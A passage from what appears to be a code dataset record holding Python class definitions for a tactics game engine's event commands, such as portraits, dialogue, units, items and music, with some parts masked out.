['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n",
"step-4": "<mask token>\n\n\nclass Sound(EventCommand):\n nid = 'sound'\n tag = Tags.MUSIC_SOUND\n desc = '\\nPlays the _Sound_ once.\\n '\n keywords = ['Sound']\n\n\nclass ChangeMusic(EventCommand):\n nid = 'change_music'\n tag = Tags.MUSIC_SOUND\n desc = \"\"\"\nChanges the phase theme music. For instance, you could use this command to change the player phase theme halfway through the chapter.\n \"\"\"\n keywords = ['PhaseMusic', 'Music']\n\n\nclass AddPortrait(EventCommand):\n nid = 'add_portrait'\n nickname = 'u'\n tag = Tags.PORTRAIT\n desc = \"\"\"\nAdds a portrait to the screen.\n\nExtra flags:\n\n1. _mirror_: Portrait will face opposite expected direction.\n2. _low_priority_: Portrait will appear behind all other portraits on the screen.\n3. _immediate_: Portrait will not fade in.\n4. _no_block_: Portrait will fade in, but will not pause execution of event script while doing so.\n \"\"\"\n keywords = ['Portrait', 'ScreenPosition']\n optional_keywords = ['Slide', 'ExpressionList']\n flags = ['mirror', 'low_priority', 'immediate', 'no_block']\n\n\nclass MultiAddPortrait(EventCommand):\n nid = 'multi_add_portrait'\n nickname = 'uu'\n tag = Tags.PORTRAIT\n desc = \"\"\"\nAdds more than one portrait to the screen at the same time. Accepts 2-4 portraits and their associated _ScreenPosition_ as input.\n \"\"\"\n keywords = ['Portrait', 'ScreenPosition', 'Portrait', 'ScreenPosition']\n optional_keywords = ['Portrait', 'ScreenPosition', 'Portrait',\n 'ScreenPosition']\n\n\nclass RemovePortrait(EventCommand):\n nid = 'remove_portrait'\n nickname = 'r'\n tag = Tags.PORTRAIT\n keywords = ['Portrait']\n flags = ['immediate', 'no_block']\n\n\nclass MultiRemovePortrait(EventCommand):\n nid = 'multi_remove_portrait'\n nickname = 'rr'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'Portrait']\n optional_keywords = ['Portrait', 'Portrait']\n\n\nclass MovePortrait(EventCommand):\n nid = 'move_portrait'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'ScreenPosition']\n flags = ['immediate', 'no_block']\n\n\nclass BopPortrait(EventCommand):\n nid = 'bop_portrait'\n nickname = 'bop'\n tag = Tags.PORTRAIT\n keywords = ['Portrait']\n flags = ['no_block']\n\n\nclass Expression(EventCommand):\n nid = 'expression'\n nickname = 'e'\n tag = Tags.PORTRAIT\n keywords = ['Portrait', 'ExpressionList']\n\n\nclass Speak(EventCommand):\n nid = 'speak'\n nickname = 's'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Speaker', 'Text']\n optional_keywords = ['ScreenPosition', 'Width', 'DialogVariant']\n flags = ['low_priority']\n\n\nclass Transition(EventCommand):\n nid = 'transition'\n nickname = 't'\n tag = Tags.BG_FG\n optional_keywords = ['Direction', 'Speed', 'Color3']\n\n\nclass Background(EventCommand):\n nid = 'change_background'\n nickname = 'b'\n tag = Tags.BG_FG\n optional_keywords = ['Panorama']\n flags = ['keep_portraits']\n\n\nclass DispCursor(EventCommand):\n nid = 'disp_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Bool']\n\n\nclass MoveCursor(EventCommand):\n nid = 'move_cursor'\n nickname = 'set_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass CenterCursor(EventCommand):\n nid = 'center_cursor'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass FlickerCursor(EventCommand):\n nid = 'flicker_cursor'\n nickname = 'highlight'\n tag = Tags.CURSOR_CAMERA\n keywords = ['Position']\n flags = ['immediate']\n\n\nclass GameVar(EventCommand):\n nid = 'game_var'\n tag = Tags.GAME_VARS\n keywords = ['Nid', 'Condition']\n\n\nclass IncGameVar(EventCommand):\n nid = 'inc_game_var'\n tag = Tags.GAME_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass LevelVar(EventCommand):\n nid = 'level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid', 'Condition']\n\n\nclass IncLevelVar(EventCommand):\n nid = 'inc_level_var'\n tag = Tags.LEVEL_VARS\n keywords = ['Nid']\n optional_keywords = ['Condition']\n\n\nclass WinGame(EventCommand):\n nid = 'win_game'\n tag = Tags.LEVEL_VARS\n\n\nclass LoseGame(EventCommand):\n nid = 'lose_game'\n tag = Tags.LEVEL_VARS\n\n\nclass ActivateTurnwheel(EventCommand):\n nid = 'activate_turnwheel'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool']\n\n\nclass BattleSave(EventCommand):\n nid = 'battle_save'\n tag = Tags.MISCELLANEOUS\n\n\nclass ChangeTilemap(EventCommand):\n nid = 'change_tilemap'\n tag = Tags.TILEMAP\n keywords = ['Tilemap']\n optional_keywords = ['PositionOffset', 'Tilemap']\n flags = ['reload']\n\n\nclass LoadUnit(EventCommand):\n nid = 'load_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['UniqueUnit']\n optional_keywords = ['Team', 'AI']\n\n\nclass MakeGeneric(EventCommand):\n nid = 'make_generic'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['String', 'Klass', 'String', 'Team']\n optional_keywords = ['AI', 'Faction', 'String', 'ItemList']\n\n\nclass CreateUnit(EventCommand):\n nid = 'create_unit'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'String']\n optional_keywords = ['String', 'Position', 'EntryType', 'Placement']\n\n\nclass AddUnit(EventCommand):\n nid = 'add_unit'\n nickname = 'add'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'EntryType', 'Placement']\n\n\nclass MoveUnit(EventCommand):\n nid = 'move_unit'\n nickname = 'move'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['Position', 'MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveUnit(EventCommand):\n nid = 'remove_unit'\n nickname = 'remove'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n optional_keywords = ['RemoveType']\n\n\nclass KillUnit(EventCommand):\n nid = 'kill_unit'\n nickname = 'kill'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit']\n flags = ['immediate']\n\n\nclass RemoveAllUnits(EventCommand):\n nid = 'remove_all_units'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass RemoveAllEnemies(EventCommand):\n nid = 'remove_all_enemies'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n\n\nclass InteractUnit(EventCommand):\n nid = 'interact_unit'\n nickname = 'interact'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['Unit', 'Unit']\n optional_keywords = ['CombatScript', 'Ability']\n\n\nclass SetCurrentHP(EventCommand):\n nid = 'set_current_hp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass SetCurrentMana(EventCommand):\n nid = 'set_current_mana'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit', 'PositiveInteger']\n\n\nclass Resurrect(EventCommand):\n nid = 'resurrect'\n tag = Tags.ADD_REMOVE_INTERACT_WITH_UNITS\n keywords = ['GlobalUnit']\n\n\nclass Reset(EventCommand):\n nid = 'reset'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasAttacked(EventCommand):\n nid = 'has_attacked'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass HasTraded(EventCommand):\n nid = 'has_traded'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['Unit']\n\n\nclass AddGroup(EventCommand):\n nid = 'add_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['StartingGroup', 'EntryType', 'Placement']\n flags = ['create']\n\n\nclass SpawnGroup(EventCommand):\n nid = 'spawn_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'CardinalDirection', 'StartingGroup']\n optional_keywords = ['EntryType', 'Placement']\n flags = ['create', 'no_block', 'no_follow']\n\n\nclass MoveGroup(EventCommand):\n nid = 'move_group'\n nickname = 'morph_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group', 'StartingGroup']\n optional_keywords = ['MovementType', 'Placement']\n flags = ['no_block', 'no_follow']\n\n\nclass RemoveGroup(EventCommand):\n nid = 'remove_group'\n tag = Tags.UNIT_GROUPS\n keywords = ['Group']\n optional_keywords = ['RemoveType']\n\n\nclass GiveItem(EventCommand):\n nid = 'give_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner', 'no_choice', 'droppable']\n\n\nclass RemoveItem(EventCommand):\n nid = 'remove_item'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Item']\n flags = ['no_banner']\n\n\nclass GiveMoney(EventCommand):\n nid = 'give_money'\n tag = Tags.GAME_VARS\n keywords = ['Integer']\n optional_keywords = ['Party']\n flags = ['no_banner']\n\n\nclass GiveBexp(EventCommand):\n nid = 'give_bexp'\n tag = Tags.GAME_VARS\n keywords = ['Condition']\n optional_keywords = ['Party', 'String']\n flags = ['no_banner']\n\n\nclass GiveExp(EventCommand):\n nid = 'give_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass SetExp(EventCommand):\n nid = 'set_exp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PositiveInteger']\n\n\nclass GiveWexp(EventCommand):\n nid = 'give_wexp'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'WeaponType', 'Integer']\n flags = ['no_banner']\n\n\nclass GiveSkill(EventCommand):\n nid = 'give_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass RemoveSkill(EventCommand):\n nid = 'remove_skill'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Skill']\n flags = ['no_banner']\n\n\nclass ChangeAI(EventCommand):\n nid = 'change_ai'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'AI']\n\n\nclass ChangeTeam(EventCommand):\n nid = 'change_team'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Team']\n\n\nclass ChangePortrait(EventCommand):\n nid = 'change_portrait'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'PortraitNid']\n\n\nclass ChangeStats(EventCommand):\n nid = 'change_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass SetStats(EventCommand):\n nid = 'set_stats'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'StatList']\n flags = ['immediate']\n\n\nclass AutolevelTo(EventCommand):\n nid = 'autolevel_to'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'String']\n flags = ['hidden']\n\n\nclass SetModeAutolevels(EventCommand):\n nid = 'set_mode_autolevels'\n tag = Tags.GAME_VARS\n keywords = ['String']\n flags = ['hidden']\n\n\nclass Promote(EventCommand):\n nid = 'promote'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass ChangeClass(EventCommand):\n nid = 'change_class'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit']\n optional_keywords = ['Klass']\n\n\nclass AddTag(EventCommand):\n nid = 'add_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass RemoveTag(EventCommand):\n nid = 'remove_tag'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'Tag']\n\n\nclass AddTalk(EventCommand):\n nid = 'add_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass RemoveTalk(EventCommand):\n nid = 'remove_talk'\n tag = Tags.LEVEL_VARS\n keywords = ['Unit', 'Unit']\n\n\nclass AddLore(EventCommand):\n nid = 'add_lore'\n nickname = 'unlock_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass RemoveLore(EventCommand):\n nid = 'remove_lore'\n tag = Tags.GAME_VARS\n keywords = ['Lore']\n\n\nclass AddBaseConvo(EventCommand):\n nid = 'add_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IgnoreBaseConvo(EventCommand):\n nid = 'ignore_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass RemoveBaseConvo(EventCommand):\n nid = 'remove_base_convo'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass IncrementSupportPoints(EventCommand):\n nid = 'increment_support_points'\n tag = Tags.MODIFY_UNIT_PROPERTIES\n keywords = ['GlobalUnit', 'GlobalUnit', 'PositiveInteger']\n\n\nclass AddMarketItem(EventCommand):\n nid = 'add_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass RemoveMarketItem(EventCommand):\n nid = 'remove_market_item'\n tag = Tags.GAME_VARS\n keywords = ['Item']\n\n\nclass AddRegion(EventCommand):\n nid = 'add_region'\n tag = Tags.REGION\n keywords = ['Nid', 'Position', 'Size', 'RegionType']\n optional_keywords = ['String']\n flags = ['only_once']\n\n\nclass RegionCondition(EventCommand):\n nid = 'region_condition'\n tag = Tags.REGION\n keywords = ['Nid', 'Condition']\n\n\nclass RemoveRegion(EventCommand):\n nid = 'remove_region'\n tag = Tags.REGION\n keywords = ['Nid']\n\n\nclass ShowLayer(EventCommand):\n nid = 'show_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass HideLayer(EventCommand):\n nid = 'hide_layer'\n tag = Tags.TILEMAP\n keywords = ['Layer']\n optional_keywords = ['LayerTransition']\n\n\nclass AddWeather(EventCommand):\n nid = 'add_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass RemoveWeather(EventCommand):\n nid = 'remove_weather'\n tag = Tags.TILEMAP\n keywords = ['Weather']\n\n\nclass ChangeObjectiveSimple(EventCommand):\n nid = 'change_objective_simple'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveWin(EventCommand):\n nid = 'change_objective_win'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass ChangeObjectiveLoss(EventCommand):\n nid = 'change_objective_loss'\n tag = Tags.LEVEL_VARS\n keywords = ['String']\n\n\nclass SetPosition(EventCommand):\n nid = 'set_position'\n tag = Tags.MISCELLANEOUS\n keywords = ['String']\n\n\nclass MapAnim(EventCommand):\n nid = 'map_anim'\n tag = Tags.TILEMAP\n keywords = ['MapAnim', 'Position']\n flags = ['no_block']\n\n\nclass ArrangeFormation(EventCommand):\n nid = 'arrange_formation'\n tag = Tags.MISCELLANEOUS\n\n\nclass Prep(EventCommand):\n nid = 'prep'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Bool', 'Music']\n\n\nclass Base(EventCommand):\n nid = 'base'\n tag = Tags.MISCELLANEOUS\n keywords = ['Panorama']\n optional_keywords = ['Music']\n\n\nclass Shop(EventCommand):\n nid = 'shop'\n tag = Tags.MISCELLANEOUS\n keywords = ['Unit', 'ItemList']\n optional_keywords = ['ShopFlavor']\n\n\nclass Choice(EventCommand):\n nid = 'choice'\n tag = Tags.MISCELLANEOUS\n keywords = ['Nid', 'String', 'StringList']\n optional_keywords = ['Orientation']\n\n\nclass ChapterTitle(EventCommand):\n nid = 'chapter_title'\n tag = Tags.MISCELLANEOUS\n optional_keywords = ['Music', 'String']\n\n\nclass Alert(EventCommand):\n nid = 'alert'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass VictoryScreen(EventCommand):\n nid = 'victory_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass RecordsScreen(EventCommand):\n nid = 'records_screen'\n tag = Tags.MISCELLANEOUS\n\n\nclass LocationCard(EventCommand):\n nid = 'location_card'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String']\n\n\nclass Credits(EventCommand):\n nid = 'credits'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['String', 'String']\n flags = ['wait', 'center', 'no_split']\n\n\nclass Ending(EventCommand):\n nid = 'ending'\n tag = Tags.DIALOGUE_TEXT\n keywords = ['Portrait', 'String', 'String']\n\n\nclass PopDialog(EventCommand):\n nid = 'pop_dialog'\n tag = Tags.DIALOGUE_TEXT\n desc = \"\"\"\nRemoves the most recent dialog text box from the screen. Generally only used in conjunction with the `ending` command to remove the Ending box during a transition.\n\nExample:\n\n```\nending;Coyote;Coyote, Man of Mystery;Too mysterious for words.\ntransition;Close\npop_dialog\ntransition;Open\n```\n \"\"\"\n\n\nclass Unlock(EventCommand):\n nid = 'unlock'\n tag = Tags.REGION\n keywords = ['Unit']\n\n\nclass FindUnlock(EventCommand):\n nid = 'find_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass SpendUnlock(EventCommand):\n nid = 'spend_unlock'\n tag = Tags.HIDDEN\n keywords = ['Unit']\n\n\nclass TriggerScript(EventCommand):\n nid = 'trigger_script'\n tag = Tags.MISCELLANEOUS\n keywords = ['Event']\n optional_keywords = ['GlobalUnit', 'GlobalUnit']\n\n\nclass ChangeRoaming(EventCommand):\n nid = 'change_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Turn free roam mode on or off'\n keywords = ['Bool']\n\n\nclass ChangeRoamingUnit(EventCommand):\n nid = 'change_roaming_unit'\n tag = Tags.MISCELLANEOUS\n desc = \"Changes the level's current roaming unit.\"\n keywords = ['Unit']\n\n\nclass CleanUpRoaming(EventCommand):\n nid = 'clean_up_roaming'\n tag = Tags.MISCELLANEOUS\n desc = 'Removes all units other than the roaming unit'\n keywords = []\n\n\nclass AddToInitiative(EventCommand):\n nid = 'add_to_initiative'\n tag = Tags.MISCELLANEOUS\n desc = (\n 'Adds the specified unit to the specified point in the initiative order. 0 is the current initiative position.'\n )\n keywords = ['Unit', 'Integer']\n\n\nclass MoveInInitiative(EventCommand):\n nid = 'move_in_initiative'\n tag = Tags.MISCELLANEOUS\n desc = 'Moves the initiative of the specified unit.'\n keywords = ['Unit', 'Integer']\n\n\n<mask token>\n",
